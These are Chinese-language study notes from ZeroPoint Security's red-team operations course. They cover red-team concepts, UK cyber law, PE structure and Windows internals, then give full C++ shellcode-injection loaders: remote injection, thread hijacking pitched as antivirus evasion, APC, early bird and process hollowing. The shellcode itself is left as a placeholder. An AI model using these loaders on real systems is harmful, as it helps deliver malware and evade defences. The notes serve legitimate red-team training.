ZeroPoint Security red team ops I CRTO
感谢ZeroPointSecurity团队带来的免费版
https://www.zeropointsecurity.co.uk/program/red-team-operations (612英镑纯享版)
1.入门指南
-
红队演练简介
所谓红队,只是一种演练而非真正意义上的网络犯罪攻击。培养一支红队和培养一支真正的攻击队所投入的财力,能力,资源是不同的,所需要接触的知识也是不同的,红队教程只针对于演练。心里要有数,基于演练的教学和基于真实攻击的教学不是一码事。
红队演练是指利用战术、技术和程序 (TTP) 来模拟现实世界的威胁,目的是衡量用于防御环境的人员、流程和技术的有效性。
你在那里打你的,他在那里看他的。无复盘,无互动是一场失败的红蓝演练。在这一场演练里,大家都在演戏,相互无法促进与成长。 -
TTPs
TTPs:所谓技战法或战略战术与工具
策略:比如提权来翻数据拿到更多的账号密码去无感横移
战术:从LSASS内存偷账号密码,从磁盘中翻数据来账号密码
工具:使用 Mimikatz 从 LSASS 读取凭据
![image]()
-
蓝队
安全运营中心 (SOC),在红队评估期间,蓝队必须通过其事件管理流程检测并应对红队的入侵。评估结束后,将审查检测和响应能力方面的任何不足,并(希望)能够实施改进措施。(相互促进与成长,红队的一些操作没有体现在安全设备的日志中,蓝队从安全日志中看见了什么IOC导致红队行为暴露,这才有意义) -
仿真与模拟
这需要威胁情报的披露来知道真正攻击者使用了什么TTPs,然后红队去模拟它们的TTPs。没有漏洞放置马子,你就是直接拿一台机器直接放马子(目的是检查这种操作,安全设备和蓝队能不能找到,模拟不是真实攻击。节约时间,真实的攻击都是哄骗用户长达数年来获取信任最后下马子) -
Stealth and OPSEC 隐蔽行动与行动安全
只有在真正的网络战面前,OPSEC才会成为一个重要问题。红队蓝队成员必须了解他们在执行战术、技术和程序 (TTP) 时会留下哪些IOC -
Attack Lifecycle 攻击者生命周期
攻击者生命周期的第一个出版物:Cyber kill chain 网络杀伤链
在当今时代出现的威胁情报之前,网络杀伤链的目的只是为了给防御提供框架去落地实施。所以网络杀伤链本身就存在缺陷,缺乏细节。 -
其他厂商也尝试已“统计与归纳”来推出自己的恐龙名词版本
微软逼逼赖赖的,如下图:
![image]()
MITRE ATT&C 表示,不就是造词加统计吗?
马上扒拉一堆APT报告,统计加归纳,新瓶装旧酒出来一个缝合怪如下链接
https://attack.mitre.org/
-
Rules of engagement 交战规则
行动规则(ROE)确立了红队与业务利益相关者之间的职责、关系和合作准则。 -
Log all actions 记录所有操作
不记录,自己都不知道干了什么,蓝队更不知道查什么来进行提升 -
Understand your tools 了解你的工具
公众号随便转发的工具你敢用吗
2.法律与合规
出海英国就考虑他们的法
Computer Misuse Act 1990
1990年计算机滥用法
Police and Justice Act 2006
2006年警察与司法法案
Serious Crime Act 2015
2015年严重犯罪法案
Human Rights Act 1998
1998年人权法案
Data Protection Act 2018
2018年数据保护法
General Data Protection Regulation
通用数据保护条例(GDPR)
3.Malware Essentials 恶意软件基础
大多数 C2 框架,包括 Cobalt Strike,都能生成payload,格式包括 .exe 、 .dll 、 .ps1 等。然而,在某些情况下,例如初始访问,使用原始 shellcode 构建自己的payload会更有优势。
-
PE 文件结构
可移植可执行文件(PE)格式包含程序所需的必要信息,以便操作系统将其加载到内存中。.exe .exe 和 .dll 文件都是 PE 文件。
![image]()
-
DOS header
DOS 头部是一个固定的 64 字节结构体,名为 IMAGE_DOS_HEADER ,位于每个 PE 文件的开头。其中大部分成员已不再使用,但有两个重要的成员:
e_magic:该值始终为 4D 5A ,或 ASCII 码中的 MZ 。它只是一个签名,用于标记 PE 的开始。
e_lfanew:这是最后一个成员,类型为 4 字节的 LONG。它包含指向 NT 头部起始位置的 PE 签名的偏移量。由于它是最后一个成员,因此它始终位于 PE 文件起始位置偏移 3C (十进制 60)处。
![image]()
-
DOS stub DOS 存根
仅当 PE 文件在 MS-DOS 下运行时才会使用 DOS 存根,此时只会打印消息“此程序无法在 DOS 模式下运行”。现代 Windows 加载器使用 e_lfanew 中的偏移量跳过此存根,直接跳转到 NT 头文件(如下所述)。
![image]()
-
NT headers NT 头部
Windows SDK(软件开发工具包)对 NT 标头有两个定义 - IMAGE_NT_HEADERS 用于 32 位 PE, IMAGE_NT_HEADERS64 用于 64 位 PE。 -
PE signature PE 签名
与 DOS 头部的 e_magic 成员类似,PE 签名是一个 4 字节的 DWORD,其值始终固定为 50 45 00 00 ,即 ASCII 码中的 PE\0\0 。它用于验证 NT 头部起始位置是否已正确定位。 -
File header 文件头
文件头是一个名为 IMAGE_FILE_HEADER 的结构体,它包含 7 个成员。其中一些关键成员包括:
Machine - 是一个 2 字节的字,用于指示 PE 编译所针对的 CPU 架构。可能的值在此处有文档说明。
https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#machine-types
NumberOfSections - 一个 WORD 值,表示 PE 包含的节数
SizeOfOptionalHeader - 一个 2 字节的 WORD,用于保存可选标头的大小。
Characteristics - 一个 2 字节的标志,用于描述 PE 的一些属性
![image]()
-
Optional header 可选标题
可选头部结构可以是 IMAGE_OPTIONAL_HEADER32 或 IMAGE_OPTIONAL_HEADER64 ,具体取决于 PE 架构。一些关键成员包括:
Magic - 一个决定图像是 PE32(即 32 位)还是 PE32+(即 64 位)的值。
AddressOfEntryPoint - PE 相对于映像基址加载到内存时的入口点地址。
ImageBase - 要加载到的 PE 映像的首选基地址。
NumberOfRvaAndSizes - DataDirectory 数组的大小。
DataDirectory - IMAGE_DATA_DIRECTORY 结构数组。
![image]()
-
Data directories 数据目录
IMAGE_DATA_DIRECTORY 结构包含两个成员: VirtualAddress 和 Size。VirtualAddress 指向特定数据目录结构的起始地址; Size 表示该数据目录的大小。这些数据目录包含 Windows 加载程序所需的信息,例如,导入目录包含 PE 运行所需的模块(DLL)的详细信息。 -
Sections 章节或段
PE 段包含程序的实际数据和可执行代码。这些通常包括:
.text 文件包含程序的可执行代码。
.data - 包含已初始化的数据。
.bss - 包含未初始化的数据。
.rdata - 包含只读数据。
.rsrc - 包含程序使用的资源,例如图标、图像等。
每个章节都附有一个描述该章节的标题。章节标题包含:
Name - 本节的名称。此字段限制为 8 个字节。
VirtualSize - 加载到内存中的段的总大小。
VirtualAddress - 加载到内存时该段的内存地址。该值是相对于映像基地址的偏移量。
SizeOfRawData - 数据段在磁盘上的实际存储大小。此大小可能与其虚拟大小不同,例如,如果数据段被填充了。
Characteristics - 一组描述节特性的标志。其中一个特性是该节内存的最终内存权限(例如 R、RW、RX 等)。 -
Processes 流程
程序是一组指令,这些指令被编译成一个 PE 文件,通常是 .exe 或 .dll 文件。 进程可以被视为一个容器,用于存放正在运行的程序的资源。同一个程序可以运行多个实例,但它们会在不同的进程中运行,因此各自拥有独立的资源,这些资源(大部分)彼此隔离。
根据您的需求,可以使用多个 API 来启动进程。最简单的 API 是 CreateProcessW ,它创建一个与调用者具有相同访问令牌的进程; CreateProcessAsUserW 可以使用备用访问令牌创建进程;而 CreateProcessWithLogonW 可以使用用户的明文凭据创建进程。最终,每个 API 都会调用 NtCreateUserProcess 内核函数。
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw

Windows Internals, Part 1. Process creation functions.
-
Threads 线程
线程是 Windows 系统在进程内调度执行的一种对象。它保存着 CPU 的状态(包括其寄存器)以及调用栈(即待执行的 CPU 指令集)。每个功能正常的程序至少会有一个线程用于执行程序的入口点;然而,许多应用程序会运行多个线程,以便并行执行多个任务。
最简单的线程创建函数是CreateThread和CreateRemoteThread。CreateThread在调用进程中创建一个新线程;而CreateRemoteThread则可以在另一个进程中创建一个新线程。最重要的参数是函数指针,因为它充当新线程的执行入口点。这两个 API 都会调用CreateRemoteThreadEx,后者再调用内核函数NtCreateRemoteThreadEx。 -
Memory 内存
每个进程都有自己的私有虚拟内存,用于在运行时存储数据。Windows 内存管理器会透明地将进程的虚拟内存映射到物理内存,甚至会在需要时将数据分页到磁盘。
![image]()
Windows Internals, Part 1. Mapping virtual memory to physical memory with paging.
内存管理以称为 “页”的独立块为单位进行,页有两种大小:小页和大页。在 x86、x64 和 ARM CPU 上,小页为 4KB;在 x86 和 x64 上,大页为 2MB,在 ARM 上为 4MB。Windows 提供了多种 API 可用于在进程中分配和释放虚拟内存,这些 API 主要分为三类:
Virtual APIs 虚拟 API:这些是用于一般内存分配和释放的底层 API,包括 VirtualAlloc 、 VirtualFree 和 VirtualProtect 等函数。尽管这些函数接受一个“size”参数,但该值始终向上取整到最接近的完整页数。
Heap APIs 堆 API:这些 API 包括 HeapAlloc 、 HeapReAlloc 和 HeapFree ,用于管理小于一页的内存分配。堆管理器可以看作是对上述虚拟 API 的抽象。它分配内存页,但通过管理这些内存页内的更小分配来优化内存使用。
Memory-mapping APIs 内存映射 API:这些 API 旨在将磁盘上的文件映射到内存中,甚至可以在进程之间共享这些映射。其中包括 CreateFileMappingA 、 OpenFileMappingA 和 MapViewOfFile
- Access Tokens 访问令牌
当一个进程被创建时,它会被分配一个主访问令牌,该令牌描述了启动该进程的用户的安全上下文。此信息包括用户的安全标识符 (SID)、用户组的安全标识符 (SID) 以及用户的权限(如下所述)。当进程在系统上执行操作时,该操作均在用户的上下文中执行。
默认情况下,新线程没有分配特定的访问令牌,因此会继承进程主访问令牌的安全上下文。但是,线程也可以模拟其他用户的访问令牌,并且该线程执行的任何操作都将在被模拟用户的安全上下文中执行。
![image]()
Windows Internals, Part 1. Process and thread security structures.
Windows 系统中每个可保护的对象(文件、进程、线程等)都有一个自主访问控制列表 (DACL),用于指定哪些用户拥有对该对象的访问权限。当调用者尝试对某个对象执行操作时,系统会根据该对象的 DACL 和调用者访问令牌中包含的信息进行访问检查。如果检查通过,则授予访问权限;否则,拒绝访问。
-
Privileges 特权
权限授予安全主体执行系统相关操作的权利,例如更改时区(需要 SeTimeZonePrivilege 权限)或关闭计算机(需要 SeShutdownPrivilege 权限)。这些权限由系统管理员授予,通常通过组策略对象 (GPO) 或使用本地 secpol 命令 。
在进程执行所需操作之前,它必须首先使用AdjustTokenPrivileges在其访问令牌中启用相应的权限。如果该权限未被授予,则调用将失败。当进程尝试执行操作时,被调用方使用LsaEnumerateAccountRights来验证调用方令牌中是否已启用所需的权限。
https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/how-to-configure-security-policy-settings
有些权限非常强大,任何用户只要能够启用这些权限,即使不是管理员,也能有效地控制整台计算机。这些权限包括:
SeDebugPrivilege - 获取对任何进程的读/写句柄,即使是其他用户或 SYSTEM 拥有的进程。
SeTakeOwnershipPrivilege - 获取任何可保护对象的所有权,包括文件、句柄和线程。
SeRestorePrivilege - 替换系统上的任何文件。
SeLoadDriverPrivilege - 将设备驱动程序加载到内核中。
SeCreateTokenPrivilege - 创建任意访问令牌,以模拟任何用户、任何权限和任何域组成员身份。 -
Termination 终止
进程可以通过调用ExitProcess函数优雅地终止自身。编译器通常会将此函数链接到每个可执行文件中,并在程序的主线程从main函数返回时调用它。当然,程序员也可以根据需要显式调用它。当进程“优雅地”终止时,意味着加载到进程中的其他模块(例如 DLL)有机会在进程资源被释放之前执行一些工作。ExitProcess函数只能由程序用于终止自身。
进程可以通过调用TerminateProcess来终止另一个进程。然而,这会强制执行“非优雅”终止,这意味着进程的所有线程都会被突然终止,并且已加载的模块没有机会事先执行任何工作。因此,这可能会导致数据丢失或损坏,具体取决于进程终止时正在执行的操作。 -
Process Injection 过程/进程/工艺注入
MITRE [ T1055 ] 将进程注入描述为一种权限提升和防御规避技术。其基本思想是将不受信任的代码注入到受信任进程的地址空间中,从而绕过防御机制,并使代码继承进程所有者的安全上下文。进程注入技术有很多种,有些比其他技术更复杂。
工艺注入成功所需的主要步骤包括:
在此过程中分配新的内存区域。
将 shellcode 复制到该区域。
执行 shellcode(通常使用线程)。 -
Classic injection 经典注射
最简单的进程注入方式或许是使用 VirtualAlloc、WriteProcessMemory 和 CreateThread API。这会将 shellcode 注入并执行到正在运行的进程中。
#include <Windows.h>
int main()
{
unsigned char shellcode[] = "...";
// allocate a region of memory
auto hMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// write the shellcode into memory
SIZE_T bytesWritten = 0;
WriteProcessMemory(GetCurrentProcess(), hMemory, shellcode, sizeof(shellcode), &bytesWritten);
// create a new thread
DWORD threadId = 0;
auto hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)hMemory, NULL, 0, &threadId);
// wait for the thread to finish
WaitForSingleObject(hThread, INFINITE);
// close the thread handle
CloseHandle(hThread);
}
- Classic remote injection 经典远程注入
同样的注入方式也可以用于其他进程。但需要额外一步,即通过进程 ID (PID) 获取目标进程的句柄。
#include <Windows.h>
int main(int argc, char* argv[])
{
unsigned char shellcode[] = "...";
// convert the provided argument to an integer
auto pid = atoi(argv[1]);
// get handle to process
auto hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// sanity check the handle is valid
if (hProcess == INVALID_HANDLE_VALUE) {
return 0;
}
// allocate a region of memory
auto hMemory = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// write the shellcode into memory
SIZE_T bytesWritten = 0;
WriteProcessMemory(hProcess, hMemory, shellcode, sizeof(shellcode), &bytesWritten);
// create a new thread
DWORD threadId = 0;
auto hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)hMemory, NULL, 0, &threadId);
// wait for the thread to finish
WaitForSingleObject(hThread, INFINITE);
// close the thread handle
CloseHandle(hThread);
}
- Thread hijacking 跑题/线程劫持
在上面的例子中,新线程在创建时指向了我们的 shellcode。反病毒软件可以在新线程创建时收到通知,并能够检查线程指向的内存区域。如果发现线程指向 shellcode,它们可以阻止新线程启动并发出警报。一个可能的解决方法是,将线程创建为挂起状态,但指向一个安全的位置。一段时间后(希望在反病毒软件扫描完内存区域之后),可以将线程的上下文更改为指向 shellcode 并恢复执行。
#include <Windows.h>
void dummy() {
// do nothing
}
int main()
{
unsigned char shellcode[] = "...";
// allocate a region of memory
auto hMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// write the shellcode into memory
SIZE_T bytesWritten = 0;
WriteProcessMemory(GetCurrentProcess(), hMemory, shellcode, sizeof(shellcode), &bytesWritten);
// create a suspended thread pointing at a dummy function
DWORD threadId = 0;
auto hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&dummy, NULL, CREATE_SUSPENDED, &threadId);
// little sleep
Sleep(5 * 1000);
// get current thread's context
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(hThread, &ctx);
// point thread context at shellcode
ctx.Rip = (DWORD64)hMemory;
SetThreadContext(hThread, &ctx);
// resume the thread
ResumeThread(hThread);
// wait on thread
WaitForSingleObject(hThread, INFINITE);
// close handle
CloseHandle(hThread);
}
线程劫持的另一种类似方法是,枚举进程中所有正在运行的线程,挂起其中一个线程,改变其上下文,然后再恢复它。不过,通常不建议这样做,因为这会破坏该线程正在执行的功能,并可能导致进程崩溃。
- Asynchronous Procedure Calls 异步过程调用
这种方法与上述类似,但它不是创建新线程,而是将异步过程调用 (APC) 排队到现有线程上。当线程进入“可触发”状态(例如,调用 Sleep 或 WaitForSingleObject 等 API 时),它将运行 APC 指向的 shellcode。将 APC 排队到线程上需要我们拥有该线程的句柄,而这需要一个线程 ID。要从进程中获取有效的线程 ID,我们必须对其进行“线程遍历”。
#include <Windows.h>
#include <tlhelp32.h>
int main(int argc, char* argv[])
{
unsigned char shellcode[] = "...";
// convert the provided argument to an integer
auto pid = atoi(argv[1]);
DWORD threadId = 0;
// create thread snapshot
auto hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { 0 };
te.dwSize = sizeof(te);
// walk the threads
Thread32First(hSnapshot, &te);
do {
if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) {
if (te.th32OwnerProcessID == pid) {
// use the first thread we find
threadId = te.th32ThreadID;
break;
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(hSnapshot, &te));
if (threadId == 0) {
// we failed to find a thread
return 0;
}
// get a handle to the process
auto hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// allocate a region of memory
auto hMemory = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// write the shellcode into memory
SIZE_T bytesWritten = 0;
WriteProcessMemory(hProcess, hMemory, shellcode, sizeof(shellcode), &bytesWritten);
// open handle to target thread
auto hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
// queue the apc
QueueUserAPC((PAPCFUNC)hMemory, hThread, 0);
}
- Early bird 早鸟
APC 方法的缺点在于无法保证选定的线程会变为可触发状态,因此 shellcode 可能无法运行。虽然可以将 APC 请求添加到进程中的每个线程,但这几乎肯定会导致程序崩溃。“早鸟”技术通过创建一个处于挂起状态的新进程来规避这个问题,将 APC 请求添加到该进程的主线程,然后恢复该进程。这样就能保证 APC 请求会被触发。
#include <Windows.h>
int main()
{
unsigned char shellcode[] = "...";
STARTUPINFOW si = { 0 };
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
PROCESS_INFORMATION pi = { 0 };
// spawn process in suspended state
CreateProcess(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, L"C:\\Windows\\System32", &si, &pi);
// allocate a region of memory
auto hMemory = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// write the shellcode into memory
SIZE_T bytesWritten = 0;
WriteProcessMemory(pi.hProcess, hMemory, shellcode, sizeof(shellcode), &bytesWritten);
// queue the apc
QueueUserAPC((PAPCFUNC)hMemory, pi.hThread, 0);
// resume the process
ResumeThread(pi.hThread);
// tidy up our handles
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
- Process hollowing 工艺空心化
这是一种进程启动时处于挂起状态的技术,它将原有的进程入口点(PE)从内存中移除,并用一个新的 PE 替换它。进程空洞化的折衷方案是直接用 shellcode 覆盖 PE 的入口点,而不事先移除任何映射。当进程恢复运行时,进程的主线程将指向我们编写的 shellcode,而不是 PE 的可执行代码段。
要找到 PE 的入口点,我们需要在 PE 挂起时从内存中读取其结构。有一个名为 NtQueryInformationProcess 的原生 API 可以填充一个名为 PROCESS_BASIC_INFORMATION 的结构。该结构的一个成员是 PebBaseAddress ,它是指向 PEB 结构的指针。虽然没有文档说明,但它的另一个成员是 ImageBaseAddress 。
由此,我们可以读取 PE 的 DOS 头部以获取 e_lfanew 的值,然后使用该值定位 NT 头部。深入到 OptionalHeader->AddressOfEntryPoint 即可得到 PE 入口点的相对虚拟地址 (RVA)。
#include <Windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
int main()
{
unsigned char shellcode[] = "...";
STARTUPINFOW si = { 0 };
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
PROCESS_INFORMATION pi = { 0 };
// spawn process in suspended state
CreateProcess(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, L"C:\\Windows\\System32", &si, &pi);
// get the process information to find the address of the PEB
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG returnLength;
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLength);
// the image base address is always at PEB + 0x10 for x64
auto lpBaseAddress = (LPVOID)((DWORD64)(pbi.PebBaseAddress) + 0x10);
// read the base address (addresses are 8 bytes for x64)
LPVOID baseAddress = 0;
SIZE_T bytesRead = 0;
ReadProcessMemory(pi.hProcess, lpBaseAddress, &baseAddress, 8, &bytesRead);
// now we can read the dos header
IMAGE_DOS_HEADER dHeader = { 0 };
ReadProcessMemory(pi.hProcess, baseAddress, &dHeader, sizeof(dHeader), &bytesRead);
// use e_lfanew to calculate pointer to nt header
auto lpNtHeader = (LPVOID)((DWORD64)baseAddress + dHeader.e_lfanew);
// read the nt header
IMAGE_NT_HEADERS ntHeaders = { 0 };
ReadProcessMemory(pi.hProcess, lpNtHeader, &ntHeaders, sizeof(ntHeaders), &bytesRead);
// calculate the entry point address
auto entryPoint = (LPVOID)((DWORD64)baseAddress + ntHeaders.OptionalHeader.AddressOfEntryPoint);
// write shellcode to this location, overwriting the PE
SIZE_T bytesWritten = 0;
WriteProcessMemory(pi.hProcess, entryPoint, shellcode, sizeof(shellcode), &bytesWritten);
// resume the process
ResumeThread(pi.hThread);
}
- P/Invoke
上一课中的注入示例都是用 C 语言编写的,但用其他语言编写注入代码通常也很有用。本课的目标是介绍平台调用 (Platform Invoke,简称 P/Invoke)以及如何使用它从 C# 访问 Win32 API。
https://learn.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke
简而言之,P/Invoke 允许您从托管的 C# 代码访问非托管库中的函数。这些函数使用 extern 关键字和 DllImport 特性声明。例如, OpenProcess API 可以这样声明:
[DllImport("kernel32.dll", SetLastError = true)]
[DefaultDllImportSearchPaths(DllImportSearchPath.System32)]
public static extern nuint OpenProcess(
PROCESS_ACCESS_RIGHTS dwDesiredAccess,
bool bInheritHandle,
uint dwProcessId);
将 SetLastError 设置为 true 允许您使用 .NET Marshal 类 Marshal.GetLastWin32Error() 恢复上次调用的 API 的错误代码(类似于 GetLastError )。
使用 DefaultDllImportSearchPaths 属性可以防止 DLL 劫持,因为它强制应用程序在 System32 中查找,而不是在它自己的工作目录等其他位置查找。
P/Invoke 的一个痛点是,我们无法访问 Windows 头文件,例如 Windows.h ,因此缺少结构体和枚举的类型定义,例如 PROCESS_ACCESS_RIGHTS 。所以我们必须手动将这些类型定义添加到代码中。
[Flags]
public enum PROCESS_ACCESS_RIGHTS : uint
{
PROCESS_TERMINATE = 0x00000001,
PROCESS_CREATE_THREAD = 0x00000002,
PROCESS_SET_SESSIONID = 0x00000004,
PROCESS_VM_OPERATION = 0x00000008,
PROCESS_VM_READ = 0x00000010,
PROCESS_VM_WRITE = 0x00000020,
PROCESS_DUP_HANDLE = 0x00000040,
PROCESS_CREATE_PROCESS = 0x00000080,
PROCESS_SET_QUOTA = 0x00000100,
PROCESS_SET_INFORMATION = 0x00000200,
PROCESS_QUERY_INFORMATION = 0x00000400,
PROCESS_SUSPEND_RESUME = 0x00000800,
PROCESS_QUERY_LIMITED_INFORMATION = 0x00001000,
PROCESS_SET_LIMITED_INFORMATION = 0x00002000,
PROCESS_ALL_ACCESS = 0x001FFFFF,
PROCESS_DELETE = 0x00010000,
PROCESS_READ_CONTROL = 0x00020000,
PROCESS_WRITE_DAC = 0x00040000,
PROCESS_WRITE_OWNER = 0x00080000,
PROCESS_SYNCHRONIZE = 0x00100000,
PROCESS_STANDARD_RIGHTS_REQUIRED = 0x000F0000
}
- Marshalling 编组
某些 WinAPI 有两种变体:A(ANSI)和 W(Unicode)。例如 LoadLibraryA 和 LoadLibraryW,以及 CreateProcessA 和 CreateProcessW。它们的区别在于字符串使用的编码类型。Windows 将 Unicode 表示为 UTF-16,将 ANSI 表示为 UTF-8。C# 并没有真正公开这个概念,它只是一个 single 字符串类型。因此,P/Invoke 引擎需要一些提示,才能将托管的 C# 字符串封送为被调用 API 所需的正确编码。这可以通过添加 CharSet 特性轻松实现。
// ANSI
[DllImport("KERNEL32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
[DefaultDllImportSearchPaths(DllImportSearchPath.System32)]
public static extern IntPtr LoadLibraryA(string libFileName);
// Unicode
[DllImport("KERNEL32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
[DefaultDllImportSearchPaths(DllImportSearchPath.System32)]
public static extern IntPtr LoadLibraryW(string libFileName);
- Resources 资源
最知名的预制 P/Invoke 代码资源(尽管它经常离线)是 pinvoke.net 。在大多数情况下,您可以找到 API(例如 OpenProcess )的签名定义,这样您就不必手动从 API 文档中转换它们了。
https://pinvoke.net/
https://pinvoke.net/default.aspx/kernel32.OpenProcess










浙公网安备 33010602011771号